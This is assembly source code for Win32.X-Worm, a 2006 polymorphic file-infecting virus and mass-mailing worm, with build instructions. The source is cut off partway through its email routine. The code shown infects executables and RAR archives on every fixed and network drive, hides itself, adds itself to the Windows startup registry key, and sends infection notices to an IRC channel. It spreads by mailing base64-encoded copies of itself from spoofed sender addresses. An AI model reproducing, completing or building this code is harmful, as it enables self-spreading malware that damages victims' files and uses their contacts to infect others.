Win32.X-Worm 1.0
by DR-EF

See also the project folder

;-----------------------------------------------------------------------|
; .,::      .:     .::    .   .:::  ...    :::::::..   .        :       |
;  `;;;,  .,;;     ';;,  ;;  ;;;'.;;;;;;;. ;;;;``;;;;  ;;,.    ;;;      |
;    '[[,,[['      '[[, [[, [[',[[     \[[,[[[,/[[['  [[[[, ,[[[[,      |
;     Y$$$Pcccccccc  Y$c$$$c$P $$$,     $$$$$$$$$c    $$$$$$$$"$$$      |
;   oP"``"Yo,         "88"888  "888,_ _,88P888b "88bo,888 Y88" 888o     |
;,m"       "Mm,        "M "M"    "YMMMMMP" MMMM   "W" MMM  M'  "MMM     |
;:::::::..-:.     ::-.  :::::::-.  :::::::..    .,:::::: .-:::::'       |
; ;;;'';;'';;.   ;;;;'   ;;,   `';,;;;;``;;;;   ;;;;'''' ;;;''''        |
; [[[__[[\. '[[,[[['     `[[     [[ [[[,/[[['    [[cccc  [[[,,==        |
; $$""""Y$$   c$$"        $$,    $$ $$$$$$ccccccc$$""""  `$$$"``        | 
;_88o,,od8P ,8P"`         888_,o8P' 888b "88bo,  888oo,__ 888           |  
;""YUMMMP" mM"            MMMMP"`   MMMM   "W"   """"YUMMM"MM,          |
;                                                                       |
;-----------------------------------------------------------------------|
;               Win32.X-Worm (c) DR-EF 2006                             |
;-----------------------------------------------------------------------|
;Virus Name     : Win32.X-Worm                                          |
;Virus Size     : 40kb                                                  |
;Virus Type     : Polymorphic PE\RAR Infector & Massmailer              |
;Author         : DR-EF                                                 |
;Author Homepage: http://home.arcor.de/dr-ef/                           |
;                                                                       |
;Virus Features :                                                       |
;----------------                                                       |
;               1)infect files by injecting loader code and             |
;                 copy itself to the file directory,loader              |
;                 execute the virus,if the virus deleted host           |
;                 wont work anymore                                     |
;               2)virus is encrypted & polymorphed by 3 layers          |
;                 using VPE,BGPE by BlueOwl/rrlf & ETMS by              |
;                 b0z0/ikx  engines,the pe header of the virus          |
;                 file is changble too                                  |
;               3)virus can add itself to .rar archives                 |
;               4)virus find kernel32 base by using SEH walker          |
;               5)scan all drivers from c~z to find files               |
;               6)does not infect sfc protected files & files           |
;                 with names of av programs                             |
;                                                                       |
;Mail Worm Features:                                                    |
;-------------------                                                    |
;               1)x-worm got its own smtp engine & base64 encoder       |
;               2)find mails at txt,html,rtf,doc,dbx,php,jsp,cgi        |
;                 files                                                 |
;               3)using email-ripper engine published in 29a#6          |
;               4)using word creation engine by BlueOwl                 |
;               5)fake sender address                                   |
;               6)2 types of mails                                      |
;                                                                       |
;General Malware Features:                                              |
;-------------------------                                              |
;               1)add itself to system startup                          |
;               2)use mutex to avoid 2 executions at the same time      |
;               3)destructive payload                                   |
;               4)notify at irc for every new infection                 |
;               5)run as service process under win9x/me                 |
;                                                                       |
;Source Code Features:                                                  |
;---------------------                                                  |
;               1)Debug Version Switch                                  |
;                                                                       |
;To Compile:                                                            |
;-----------                                                            |
;                                                                       |
;       tasm32 /m3 /ml /zi xworm.asm , , ;                              |
;       tlink32 /tpe /aa /v xworm , xworm,,import32.lib                 |
;                                                                       |
;-----------------------------------------------------------------------|


.586
.model flat




        extrn GetProcAddress:proc


        DEBUG           equ     0                       ;debug version ?

        
        VirusSizeX4     equ     (((virus_end-virus_start)+3)/4)*4
        VirusSizeX1     equ     (virus_end-virus_start)
        data_sec_size   equ     (virus_end-x_main)

.data


x_main:

        Decryptor2      db      1024*6  dup(90h)


virus_start     equ     $


        call    xdelta
xdelta: pop     ebp
        sub     ebp,offset xdelta
        
        mov     eax,fs:[0]                              ;find kernel using SEH walker
search_last:
        mov     edx,[eax]
        inc     edx
        jz      found_last
        dec     edx
        xchg    edx,eax
        jmp     search_last
found_last:
        mov     eax,[eax+4]
        and     eax,0ffff0000h
search_mz:
        cmp     word ptr [eax],'ZM'
        jz      found_mz
        sub     eax,10000h
        jmp     search_mz
found_mz:
        mov     [ebp + kernel32base],eax
        add     eax,[eax + 3ch]
        mov     eax,[eax + 78h]
        add     eax,[ebp + kernel32base]
        ;eax - kernel32 export table
        push    eax
        xor     edx,edx
        mov     eax,[eax + 20h]
        add     eax,[ebp + kernel32base]
        mov     edi,[eax]
        add     edi,[ebp + kernel32base]
        ;edi - api names array
        cld
        dec     edi
nxt_cmp:inc     edi
        lea     esi,[ebp + _GetProcAddress]
        mov     ecx,0eh
        rep     cmpsb
        je      search_address
        inc     edx
nxt_l:  cmp     byte ptr [edi],0h
        je      nxt_cmp
        inc     edi
        jmp     nxt_l
search_address:
        pop     eax
        ;eax - kernel32 export table
        ;edx - GetProcAddress position
        shl     edx,1h
        mov     ebx,[eax + 24h]
        add     ebx,[ebp + kernel32base]
        add     ebx,edx
        mov     dx,word ptr [ebx]
        shl     edx,2h
        mov     ebx,[eax + 1ch]
        add     ebx,[ebp + kernel32base]
        add     ebx,edx
        mov     ebx,[ebx]
        add     ebx,[ebp + kernel32base]
        mov     [ebp + __GetProcAddress],ebx
        
        mov     edx,[ebp + kernel32base]
        mov     ecx,NumberOfApis
IF      DEBUG
        inc     ecx
ENDIF
        lea     ebx,[ebp + ApiAddressTable]
        lea     eax,[ebp + ApiNamesTable]
        clc
        call    GetNextAPI                              ;start to get apis using a lookup table
        jc      @2
        ret
@2:     call    prsp
        db      "RegisterServiceProcess",0
prsp:   push    [ebp + kernel32base]
        call    [ebp +  __GetProcAddress]
        or      eax,eax
        je      no_rsp
        push    1
        push    0
        call    eax                                     ;hide our process on win9x/me
no_rsp: clc     

        call    GenMorphedWorm                          ;create a polymorphed encrypted worm    
        jnc     ExitWorm

        call    GetUser32Apis                           ;get apis from user32 library
        call    GetWinsockApis                          ;get apis from winsock library
        call    GetADVAPI32Apis                         ;get apis from advapi32 library
        
        ;load sfc library & get IsFileProtected api
        
        mov     [ebp + SfcIsFileProtected],0h           ;assume no sfc
        lea     eax,[ebp + SFC_DLL]
        push    eax
        call    [ebp + LoadLibrary]                     ;load sfc library
        or      eax,eax                                 ;sfc here ?
        je      NoSfc                                   ;we not under xp\2000
        lea     ebx,[ebp + _SfcIsFileProtected]
        push    ebx
        push    eax                                     ;sfc module handle
        call    [ebp + __GetProcAddress]
        or      eax,eax                                 ;function not founded ?
        je      NoSfc
        mov     [ebp + SfcIsFileProtected],eax          ;save function address  
NoSfc:  

        call    AllowOnlyOneRun                         ;run the worm only 1 time
        jnc     ExitWorm
        
;add autorun key/send notify message
;*************************************************

        call    SetAutoRun
                        
;check for payload day
;*************************************************

        mov     byte ptr [ebp + PayloadDay],0h

        lea     eax,[ebp + SYSTEMTIME]
        push    eax
        call    [ebp + GetLocalTime]
        
        cmp     word ptr [ebp + wDay],29d
        jne     NoPayLoad
        
        inc     byte ptr [ebp + PayloadDay]             ;killing flag

NoPayLoad:

;scan all drivers from c ~ z for .exe & .rar files
;*************************************************

        mov     byte ptr [ebp + StartDrive],'z'         ;set start drive
        
InfectNxtDrive:
        
        ;check if drive is remote or fixed
        
        
        lea     eax,[ebp + StartDrive]
        push    eax
        call    [ebp + GetDriveType]
        cmp     eax,DRIVE_FIXED
        je      InfectIt
        cmp     eax,DRIVE_REMOTE
        jne     SkipDrive
InfectIt:

IF      DEBUG
        push    MB_YESNO
        lea     eax,[ebp + DriveInfectionWarning]
        push    eax
        lea     eax,[ebp + StartDrive]
        push    eax
        push    0h
        call    [ebp + MessageBox]
        cmp     eax,IDYES
        jne     SkipDrive
ENDIF   

        lea     eax,[ebp + StartDrive]
        push    eax
        call    [ebp + SetCurrentDirectory]
        or      eax,eax
        je      SkipDrive

        call    InfectDrive

SkipDrive:      
        dec     byte ptr [ebp + StartDrive]
        cmp     byte ptr [ebp + StartDrive],'b'
        
        jne     InfectNxtDrive
        
        cmp     byte ptr [ebp + PayloadDay],1h
        jne     MassMail
        
        push    MB_ICONINFORMATION
        lea     eax,[ebp + CopyRight]
        push    eax
        push    eax
        push    0h
        call    [ebp + MessageBox]                      ;show payload MessageBox        

MassMail:

        push    (5*1000)
        call    [ebp + Sleep]                           ;sleep for 5 minutes
        
        mov     byte ptr [ebp + use_rar_file],0h

        call    GenRandomNumber
        cmp     al,80h
        ja      @UseRar

        call    CreateVirusBase64Image
        jnc     ExitWorm
        
        jmp     WSASup
        
@UseRar:mov     byte ptr [ebp + use_rar_file],1h
        call    CreateVirusRarFile
        call    CreateVirusBase64Image
        jnc     ExitWorm

WSASup: lea     eax,[ebp + WSADATA]
        push    eax
        push    VERSION1_1
        call    [ebp + WSAStartup]                      ;start up winsock
        cmp     eax,0h
        jne     ExitWorm
        
        mov     byte ptr [ebp + StartDrive],'z'         ;set start drive
                
SearchNxtDrive:
        lea     eax,[ebp + StartDrive]
        push    eax
        call    [ebp + GetDriveType]
        cmp     eax,DRIVE_FIXED
        je      ScanIt
        cmp     eax,DRIVE_REMOTE
        jne     _SkipDrive
ScanIt: lea     eax,[ebp + StartDrive]
        push    eax
        call    [ebp + SetCurrentDirectory]
        or      eax,eax
        je      _SkipDrive
        call    ScanDrive
_SkipDrive:
        dec     byte ptr [ebp + StartDrive]
        cmp     byte ptr [ebp + StartDrive],'b'
        jne     SearchNxtDrive  
        
        call    [ebp + WSACleanup]
        
        push    [ebp + base64outputmem]
        call    [ebp + GlobalFree]

ExitWorm:
        push    eax
        call    [ebp + ExitProcess]                             ;we done
        
        
SetAutoRun:

        push    0ffh
        lea     eax,[ebp + auturun_copy_path]
        push    eax
        call    [ebp + GetWindowsDirectory]                     ;get windows directory
        lea     edi,[ebp + auturun_copy_path]
nextWC: cmp     byte ptr [edi],0h
        je      SFP
        inc     edi
        jmp     nextWC
SFP:    lea     esi,[ebp + worm_file]
        mov     ecx,SizeOfWormFile
        rep     movsb
        
        lea     eax,[ebp + auturun_copy_path]
        push    eax
        call    [ebp + GetFileAttributes]
        and     eax,FILE_ATTRIBUTE_READONLY
        cmp     eax,FILE_ATTRIBUTE_READONLY
        je      NoNotify
                
        call    overTIx
        dd      0
overTIx:xor     eax,eax 
        push    eax
        push    eax
        lea     ebx,[ebp + InfectionNotify]
        push    ebx
        push    eax
        push    eax
        
        call    [ebp + CreateThread]    
        
NoNotify:
        push    0h
        lea     eax,[ebp + auturun_copy_path]
        push    eax
        lea     eax,[ebp + MorphedWorm]
        push    eax
        call    [ebp + CopyFile]                                ;copy worm file
        
        push    FILE_ATTRIBUTE_HIDDEN
        lea     eax,[ebp + auturun_copy_path]
        push    eax
        call    [ebp + SetFileAttributes]                       ;hide it
        
        lea     eax,[ebp + hkey]
        push    eax
        push    KEY_WRITE
        push    0h
        lea     eax,[ebp + runkey]
        push    eax
        push    HKEY_LOCAL_MACHINE
        call    [ebp + RegOpenKeyEx]                            ;open key
        cmp     eax,ERROR_SUCCESS
        jne     ExtAt
        
        push    SizeOFACP
        lea     eax,[ebp + auturun_copy_path]
        push    eax
        push    REG_SZ
        push    0h
        lea     eax,[ebp + auturun_name]
        push    eax
        push    [ebp + hkey]
        call    [ebp + RegSetValueEx]                           ;setup autorun value
        
        push    [ebp + hkey]
        call    [ebp + RegCloseKey]                             ;done !
        
ExtAt:  ret
        
        auturun_name    db      "x32x",0h
        
        worm_file:
                db      "\xwrm.exe",0h
                SizeOfWormFile  equ     ($-worm_file)   
        
        
        auturun_copy_path:
                db      0ffh    dup(0)
                SizeOFACP       equ     ($-auturun_copy_path)
        
        hkey            dd      0
        
        runkey  db      "Software\Microsoft\Windows\CurrentVersion\Run",0h
        
        HKEY_LOCAL_MACHINE      equ     80000002h
        ERROR_SUCCESS           equ     0h
        KEY_WRITE               equ     00020006h
        REG_SZ                  equ     1h
        
        
InfectionNotify:

        call    Ndelta
Ndelta: pop     ebp
        sub     ebp,offset Ndelta
        
        lea     eax,[ebp + WSADATA2]
        push    eax
        push    VERSION1_1
        call    [ebp + WSAStartup]                      ;start up winsock
        cmp     eax,0h
        jne     ExitNotify
        push    IPPROTO_TCP
        push    SOCK_STREAM
        push    AF_INET
        call    [ebp + socket]                          ;create socket
        cmp     eax,SOCKET_ERR
        je      ExitNotify
        mov     dword ptr [ebp + nsocket],eax
        push    6667                                    ;irc
        call    [ebp + htons]
        
        mov     word ptr [ebp + sin_port_],ax
        mov     word ptr [ebp + sin_family_],AF_INET
        lea     eax,[ebp + irc_server_addr]
        push    eax
        call    [ebp + gethostbyname]
                
        or      eax,eax
        je      EN_Cs
        mov     eax,dword ptr [eax + HOSTENT_IP]
        mov     eax,dword ptr [eax]
        mov     eax,dword ptr [eax]
        mov     dword ptr [ebp + sin_addr_],eax
        push    SizeOfSOCKADDR_
        lea     eax,[ebp + SOCKADDR2]
        push    eax
        push    dword ptr [ebp + nsocket]
        call    [ebp + connect]
        or      eax,eax
        jne     EN_Cs

        push    (2*1000)
        call    [ebp + Sleep]   

        mov     ecx,3h
        lea     edi,[ebp + iuser]
@grnds: push    ecx
        mov     ecx,7h
@rndl:  call    GenRandomNumber
        and     al,19h
        add     al,61h
        stosb
        loop    @rndl
        mov     byte ptr [edi],0h
        inc     edi
        pop     ecx
        loop    @grnds

        lea     eax,[ebp + irealname]
        push    eax
        lea     eax,[ebp + iuser]
        push    eax
        call    puser
        db      "USER %s 8 * :%s",0dh,0ah,0h
puser:  lea     eax,[ebp + ircbuffer]
        push    eax
        call    [ebp + wsprintf]
        
        add     esp,(4*4)
        
        push    0h
        push    eax
        lea     eax,[ebp + ircbuffer]
        push    eax
        push    [ebp + nsocket]
        call    [ebp + send]
        
        lea     eax,[ebp + inick]
        push    eax
        call    pnick
        db      "NICK %s",0dh,0ah,0h
pnick:  lea     eax,[ebp + ircbuffer]
        push    eax
        call    [ebp + wsprintf]
        
        add     esp,(3*4)
        
        push    0h
        push    eax
        lea     eax,[ebp + ircbuffer]
        push    eax
        push    [ebp + nsocket]
        call    [ebp + send]    
                
        mov     ecx,4h
@GetPng:push    ecx
        
        call    _xrecv
        or      eax,eax
        je      EN_Cs
        cmp     eax,SOCKET_ERR
        je      EN_Cs
        
        mov     ecx,eax
        sub     ecx,4h
        lea     eax,[ebp + xGetBuffer]
        
@FindPing:
        cmp     dword ptr [eax],"GNIP"
        je      ProcessPng
        inc     eax
        loop    @FindPing
        pop     ecx
        loop    @GetPng
        jmp     EN_Cs

ProcessPng:
        pop     ecx

        add     eax,6h
        mov     esi,eax
        lea     edi,[ebp + xpong]
        
cpypb:  cmp     byte ptr [esi],0dh
        je      endPc
        movsb
        jmp     cpypb
        
endPc:  mov     byte ptr [edi+1],0h

        lea     eax,[ebp + xpong]
        push    eax
        call    ppong
        db      "PONG %s",0dh,0ah,0h
ppong:  lea     eax,[ebp + ircbuffer]
        push    eax
        call    [ebp + wsprintf]
        
        add     esp,(3*4)
                                
        push    0h
        push    eax
        lea     eax,[ebp + ircbuffer]
        push    eax
        push    [ebp + nsocket]
        call    [ebp + send]            
        
        call    _xrecv
        or      eax,eax
        je      EN_Cs
        cmp     eax,SOCKET_ERR
        je      EN_Cs
        
        mov     ecx,xSizeOfGB
        
        lea     eax,[ebp + xGetBuffer]  
@fWelcome:
        cmp     dword ptr [eax],"100 "
        je      ConSucc
        cmp     byte ptr [eax],0dh
        je      EN_Cs
        inc     eax
        dec     ecx
        cmp     ecx,0h
        jne     @fWelcome
        jmp     EN_Cs
        
ConSucc:push    0h
        push    SizeOfJOIN
        call    O_J
xjoin   db      "JOIN #england",0dh,0ah
        SizeOfJOIN      equ     ($-xjoin)
O_J:    push    dword ptr [ebp + nsocket]
        call    [ebp + send]
        
        push    1000
        call    [ebp + Sleep]

        push    0h
        push    SizeOfPMSG
        call    O_P
xpmsg   db      "PRIVMSG #england :.-:[X-Worm]:-.",0dh,0ah
        SizeOfPMSG      equ     ($-xpmsg)
O_P:    push    dword ptr [ebp + nsocket]
        call    [ebp + send]    
        
        push    1000
        call    [ebp + Sleep]
                
        push    0h
        push    SizeOfQUIT
        call    O_Q
xquit   db      "QUIT .-:[X-Worm]:-.",0dh,0ah
        SizeOfQUIT      equ     ($-xquit)
O_Q:    push    dword ptr [ebp + nsocket]
        call    [ebp + send]
                
        push    1000
        call    [ebp + Sleep]   
        
        push    FILE_ATTRIBUTE_READONLY or FILE_ATTRIBUTE_HIDDEN
        lea     eax,[ebp + auturun_copy_path]
        push    eax
        call    [ebp + SetFileAttributes]                       ;hide it        
        
EN_Cs:  push    dword ptr [ebp + nsocket]
        call    [ebp + closesocket]
ExitNotify:
        push    eax
        call    [ebp + ExitThread]
        
_xrecv: push    0h
        push    xSizeOfGB
        call    PushGBx
        xSizeOfGB       equ     (PushGBx-$)
        xGetBuffer      db      0200h   dup(0)
PushGBx:push    dword ptr [ebp + nsocket]
        call    [ebp + recv]
        ret     
        
        xpong                   db      32d     dup(0)
        
        iuser                   db      8d      dup(0)
        inick                   db      8d      dup(0)
        irealname               db      8d      dup(0)
        
        
        ircbuffer               db      0ffh    dup(0)
        
        irc_server_addr         db      "irc.undernet.org",0h
        
        
        nsocket         dd      0
        
        
WSADATA2:       
        mVersion_       dw      0
        mHighVersion_   dw      0
        szDescription_  db      257 dup(0)
        szSystemStatus_ db      129 dup(0)
        iMaxSockets_    dw      0
        iMaxUpdDg_      dw      0
        lpVendorInfo_   dd      0       
        
        
SOCKADDR2:
        sin_family_     dw      0       
        sin_port_       dw      0
        sin_addr_       dd      0       
        sin_zero_       db      8 dup(0)
        SizeOfSOCKADDR_ equ     ($-SOCKADDR2)           
        
        
        
AllowOnlyOneRun:
        ;use mutex to check if we already running
        lea     eax,[ebp + CopyRight]
        push    eax
        push    0h
        push    MUTEX_ALL_ACCESS
        call    [ebp + OpenMutex]
        cmp     eax,0h
        jne     AlreadyRun
        lea     eax,[ebp + CopyRight]
        push    eax
        xor     eax,eax
        push    eax
        push    eax
        call    [ebp + CreateMutex]
        stc
        ret
AlreadyRun:
        clc
        ret
        
        MUTEX_ALL_ACCESS        equ     001F0001h
        
        
        
        
SYSTEMTIME:
        wYear           dw      0
        wMonth          dw      0
        wDayOfWeek      dw      0
        wDay            dw      0
        wHour           dw      0
        wMinute         dw      0
        wSecond         dw      0
        wMilliseconds   dw      0       
        
        
        PayloadDay              db      0
        

;MailAddr        = reciver mail
;vsocket         = smtp server connection socket
;use_rar_file    = send rar/exe file ?
;base64outputmem = base64 encoded worm
;sizeofbase64out = size of base64 data
TransferWorm:
        call    __recv                                          ;recive welcome message
        cmp     eax,SOCKET_ERR
        je      Disconnect
        or      eax,eax
        je      Disconnect
        cmp     dword ptr [ebp + GetBuffer]," 022"
        jne     Disconnect
        push    0h
        push    SizeOfHELO
        call    O_HL
xhelo   db      "HELO ",0dh,0ah
        SizeOfHELO      equ     ($-xhelo)
O_HL:   push    dword ptr [ebp + vsocket]
        call    [ebp + send]
        cmp     eax,SOCKET_ERR
        je      Disconnect
        call    __recv                                  ;get helo response
        cmp     eax,SOCKET_ERR
        je      Disconnect
        or      eax,eax
        je      Disconnect
        cmp     dword ptr [ebp + GetBuffer]," 052"              ;is 250 ?
        jne     Disconnect
        
        mov     ecx,SizeOfBoundary
        lea     edi,[ebp + boundry]
@x_RndLetter:   
        call    GenRandomNumber
        and     al,19h
        add     al,61h
        stosb
        loop    @x_RndLetter                    ;generate boundary id

        call    GenRandomNumber
        cmp     al,80h                          ;select mail type
        ja      m2
        mov     byte ptr [ebp + MailType],1h    ;failed sending msg
        jmp     m_x
m2:     mov     byte ptr [ebp + MailType],0h    ;love letter msg
m_x:    cmp     byte ptr [ebp + MailType],1h
        jne     LoveMsg
        
        call    GenRandomNumber
        
        and     eax,7000h
        cmp     eax,1000h
        ja      mf1
        lea     esi,[ebp + frm1]
        jmp     GenMF
mf1:    cmp     eax,2000h
        ja      mf2
        lea     esi,[ebp + frm2]
        jmp     GenMF
mf2:    cmp     eax,3000h
        ja      mf3
        lea     esi,[ebp + frm3]
        jmp     GenMF
mf3:    cmp     eax,4000h
        ja      mf4
        lea     esi,[ebp + frm4]
        jmp     GenMF
mf4:    cmp     eax,5000h
        ja      mf5
        lea     esi,[ebp + frm5]
        jmp     GenMF
mf5:    cmp     eax,6000h
        ja      mf6
        lea     esi,[ebp + frm6]
        jmp     GenMF
mf6:    lea     esi,[ebp + frm7]
GenMF:  lea     edi,[ebp + faked_mfrm]
        xor     ecx,ecx
nxtmfb: cmp     byte ptr [esi+ecx],0h
        je      cpymf
        inc     ecx
        jmp     nxtmfb
cpymf:  inc     ecx
        rep     movsb
        dec     edi
        lea     esi,[ebp + MailAddr]
NxtDmc: cmp     byte ptr [esi],'@'
        je      getDom
        inc     esi
        jmp     NxtDmc
getDom: cmp     byte ptr [esi+ecx],0h
        je      CpyDom
        inc     ecx
        jmp     getDom
CpyDom: inc     ecx
        rep     movsb
        
        push    4000h                                   ;allocate 16kb of memory used 
        push    GPTR                                    ;as dynamic mail buffer
        call    [ebp + GlobalAlloc]                     
        or      eax,eax
        je      QuitM
        
        mov     [ebp + MailBuffer],eax                  ;save allocated memory handle
        
        lea     eax,[ebp + faked_mfrm]
        push    eax     
        call    PushMf  
        db      "MAIL FROM:<%s>",0dh,0ah,0h
PushMf: push    dword ptr [ebp + MailBuffer]
        call    [ebp + wsprintf]                        ;create MAIL FROM command
        add     esp,(3*4)
        
        push    0h
        push    eax
        push    [ebp + MailBuffer]
        push    [ebp + vsocket]
        call    [ebp + send]

        cmp     eax,SOCKET_ERR
        je      ExitFm
        call    __recv                                  ;get server message:
        cmp     eax,SOCKET_ERR
        je      ExitFm
        cmp     eax,0h
        je      ExitFm
        cmp     dword ptr [ebp + GetBuffer]," 052"      ;is 250 ?
        jne     ExitFm

        lea     eax,[ebp + MailAddr]
        push    eax     
        call    PushRC
        db      "RCPT TO:<%s>",0dh,0ah,0h
PushRC: push    dword ptr [ebp + MailBuffer]
        call    [ebp + wsprintf]                        ;create RCPT command
        add     esp,(3*4)

        push    0h
        push    eax
        push    [ebp + MailBuffer]
        push    [ebp + vsocket]
        call    [ebp + send]

        cmp     eax,SOCKET_ERR
        je      ExitFm
        call    __recv                                  ;get server message:
                
        cmp     eax,SOCKET_ERR
        je      ExitFm
        cmp     eax,0h
        je      ExitFm
        cmp     dword ptr [ebp + GetBuffer]," 052"      ;is 250 ?
        jne     ExitFm

        push    0h
        push    SizeOfDATA
        call    O_DT
xDATA   db      "DATA",0dh,0ah
        SizeOfDATA      equ     ($-xDATA)
O_DT:   push    dword ptr [ebp + vsocket]
        call    [ebp + send]                                    ;send DATA command
        cmp     eax,SOCKET_ERR
        je      Disconnect
        call    __recv                                          ;get data response
        cmp     eax,SOCKET_ERR
        je      Disconnect
        or      eax,eax
        je      Disconnect
        cmp     dword ptr [ebp + GetBuffer]," 453"              ;is 354 ?
        jne     Disconnect
        
        ;generate message in memory
        
        mov     ecx,2h
        
@xfn:   cmp     byte ptr [ebp + use_rar_file],1h
        jne     sexe
        lea     esi,[ebp +rar_suffix]
        jmp     ___z
sexe:   lea     esi,[ebp +exe_suffix]
___z:   push    esi     
        
        cmp     ecx,2h
        jne     NotRnd
        call    GenRandomNumber
        
        and     eax,7000h
NotRnd: cmp     eax,1000h
        ja      xat1
        lea     esi,[ebp + atch1]
        jmp     PFn
xat1:   cmp     eax,2000h
        ja      xat2
        lea     esi,[ebp + atch2]
        jmp     PFn
xat2:   cmp     eax,3000h
        ja      xat3
        lea     esi,[ebp + atch3]
        jmp     PFn
xat3:   cmp     eax,4000h
        ja      xat4
        lea     esi,[ebp + atch4]
        jmp     PFn
xat4:   cmp     eax,5000h
        ja      xat5
        lea     esi,[ebp + atch5]
        jmp     PFn
xat5:   cmp     eax,6000h
        ja      xat6
        lea     esi,[ebp + atch6]
        jmp     PFn
xat6:   lea     esi,[ebp + atch7]

PFn:    push    esi
        
        dec     ecx
        cmp     ecx,0h
        jne     @xfn                                    ;2 times file + suffix
        
        lea     eax,[ebp + boundry]
        push    eax                                     ;boundary
        
        call    GenRandomNumber
        
        and     eax,6000h
        cmp     eax,1000h
        ja      x_msg1
        lea     esi,[ebp + msg1]
        jmp     Pmsg
x_msg1: cmp     eax,2000h
        ja      x_msg2
        lea     esi,[ebp + msg2]
        jmp     Pmsg
x_msg2: cmp     eax,3000h
        ja      x_msg3
        lea     esi,[ebp + msg3]
        jmp     Pmsg
x_msg3: cmp     eax,4000h
        ja      x_msg4
        lea     esi,[ebp + msg4]
        jmp     Pmsg
x_msg4: cmp     eax,5000h
        ja      x_msg5
        lea     esi,[ebp + msg5]
        jmp     Pmsg
x_msg5: lea     esi,[ebp + msg6]
Pmsg:   push    esi                                     ;message
        
        lea     eax,[ebp + boundry]
        push    eax                                     ;boundary
                
        lea     eax,[ebp + boundry]
        push    eax                                     ;boundary
                        
        call    GenRandomNumber
        
        and     eax,3000h
        cmp     eax,1000h
        ja      x_sub1
        lea     esi,[ebp + sub1]
        jmp     Psub
x_sub1: cmp     eax,2000h
        ja      x_sub2
        lea     esi,[ebp + sub2]
        jmp     Psub
x_sub2: lea     esi,[ebp + sub3]
Psub:   push    esi                                     ;subject
        
        lea     eax,[ebp + MailAddr]
        push    eax                                     ;mail to
        
        lea     eax,[ebp + faked_mfrm]
        push    eax                                     ;mail from
        
        lea     eax,[ebp + MailHeader]
        push    eax                                     ;formated string
        
        push    [ebp + MailBuffer]
        
        call    [ebp + wsprintf]                        ;create mime message
        
        add     esp,(13*4)                              ;restore stack
                
        push    0h
        push    eax
        push    [ebp + MailBuffer]
        push    [ebp + vsocket]
        call    [ebp + send]    

        jmp     SndAtt
        
LoveMsg:
        call    GenRandomNumber
        mov     ecx,6h
        push    ecx
        lea     edi,[ebp + faked_mfrm]
@x__RndLetter:  
        call    GenRandomNumber
        and     al,19h
        add     al,61h
        stosb
        loop    @x__RndLetter
        lea     edi,[ebp + faked_mfrm]
        pop     ecx
        add     edi,ecx
        lea     esi,[ebp + MailAddr]
NxtDmc_:cmp     byte ptr [esi],'@'
        je      getDom_
        inc     esi
        jmp     NxtDmc_
getDom_:cmp     byte ptr [esi+ecx],0h
        je      CpyDom_
        inc     ecx
        jmp     getDom_
CpyDom_:inc     ecx
        rep     movsb
        
        push    4000h                                   ;allocate 16kb of memory used 
        push    GPTR                                    ;as dynamic mail buffer
        call    [ebp + GlobalAlloc]                     
        or      eax,eax
        je      QuitM
        
        mov     [ebp + MailBuffer],eax                  ;save allocated memory handle
        
        lea     eax,[ebp + faked_mfrm]
        push    eax     
        call    PushMf_
        db      "MAIL FROM:<%s>",0dh,0ah,0h
PushMf_:push    dword ptr [ebp + MailBuffer]
        call    [ebp + wsprintf]                        ;create MAIL FROM command
        add     esp,(3*4)
        
        push    0h
        push    eax
        push    [ebp + MailBuffer]
        push    [ebp + vsocket]
        call    [ebp + send]

        cmp     eax,SOCKET_ERR
        je      ExitFm
        call    __recv                                  ;get server message:
        cmp     eax,SOCKET_ERR
        je      ExitFm
        cmp     eax,0h
        je      ExitFm
        cmp     dword ptr [ebp + GetBuffer]," 052"      ;is 250 ?
        jne     ExitFm

        lea     eax,[ebp + MailAddr]
        push    eax     
        call    PushRC_
        db      "RCPT TO:<%s>",0dh,0ah,0h
PushRC_:push    dword ptr [ebp + MailBuffer]
        call    [ebp + wsprintf]                        ;create RCPT command
        add     esp,(3*4)

        push    0h
        push    eax
        push    [ebp + MailBuffer]
        push    [ebp + vsocket]
        call    [ebp + send]

        cmp     eax,SOCKET_ERR
        je      ExitFm
        call    __recv                                  ;get server message:
        cmp     eax,SOCKET_ERR
        je      ExitFm
        cmp     eax,0h
        je      ExitFm
        cmp     dword ptr [ebp + GetBuffer]," 052"      ;is 250 ?
        jne     ExitFm

        push    0h
        push    SizeOfDATA
        call    O_DT_
        db      "DATA",0dh,0ah
O_DT_:  push    dword ptr [ebp + vsocket]
        call    [ebp + send]                                    ;send DATA command
        cmp     eax,SOCKET_ERR
        je      Disconnect
        call    __recv                                          ;get data response
        cmp     eax,SOCKET_ERR
        je      Disconnect
        or      eax,eax
        je      Disconnect
        cmp     dword ptr [ebp + GetBuffer]," 453"              ;is 354 ?
        jne     Disconnect
        
        ;generate message in memory
        
        mov     ecx,2h
        
@xfn_:  cmp     byte ptr [ebp + use_rar_file],1h
        jne     sexe_
        lea     esi,[ebp +rar_suffix]
        jmp     ___z_
sexe_:  lea     esi,[ebp +exe_suffix]
___z_:  push    esi     
        
        cmp     ecx,2h
        jne     NotRnd_
        call    GenRandomNumber
        
        and     eax,8000h
NotRnd_:cmp     eax,1000h
        ja      xat1_
        lea     esi,[ebp + xattch1]
        jmp     PFn_
xat1_:  cmp     eax,2000h
        ja      xat2_
        lea     esi,[ebp + xattch2]
        jmp     PFn_
xat2_:  cmp     eax,3000h
        ja      xat3_
        lea     esi,[ebp + xattch3]
        jmp     PFn_
xat3_:  cmp     eax,4000h
        ja      xat4_
        lea     esi,[ebp + xattch4]
        jmp     PFn_
xat4_:  cmp     eax,5000h
        ja      xat5_
        lea     esi,[ebp + xattch5]
        jmp     PFn_
xat5_:  cmp     eax,6000h
        ja      xat6_
        lea     esi,[ebp + xattch6]
        jmp     PFn_
xat6_:  cmp     eax,7000h
        ja      xat7_
        lea     esi,[ebp + xattch7]
        jmp     PFn_
xat7_:  lea     esi,[ebp + xattch8]

PFn_:   push    esi
        
        dec     ecx
        cmp     ecx,0h
        jne     @xfn_                                   ;2 times file + suffix
        
        lea     eax,[ebp + boundry]
        push    eax                                     ;boundary
        
        call    GenRandomNumber
        
        and     eax,0d000h
        cmp     eax,1000h
        ja      x_msg1_
        lea     esi,[ebp + xmsg1]
        jmp     Pmsg_
x_msg1_:cmp     eax,2000h
        ja      x_msg2_
        lea     esi,[ebp + xmsg2]
        jmp     Pmsg_
x_msg2_:cmp     eax,3000h
        ja      x_msg3_
        lea     esi,[ebp + xmsg3]
        jmp     Pmsg_
x_msg3_:cmp     eax,4000h
        ja      x_msg4_
        lea     esi,[ebp + xmsg4]
        jmp     Pmsg_
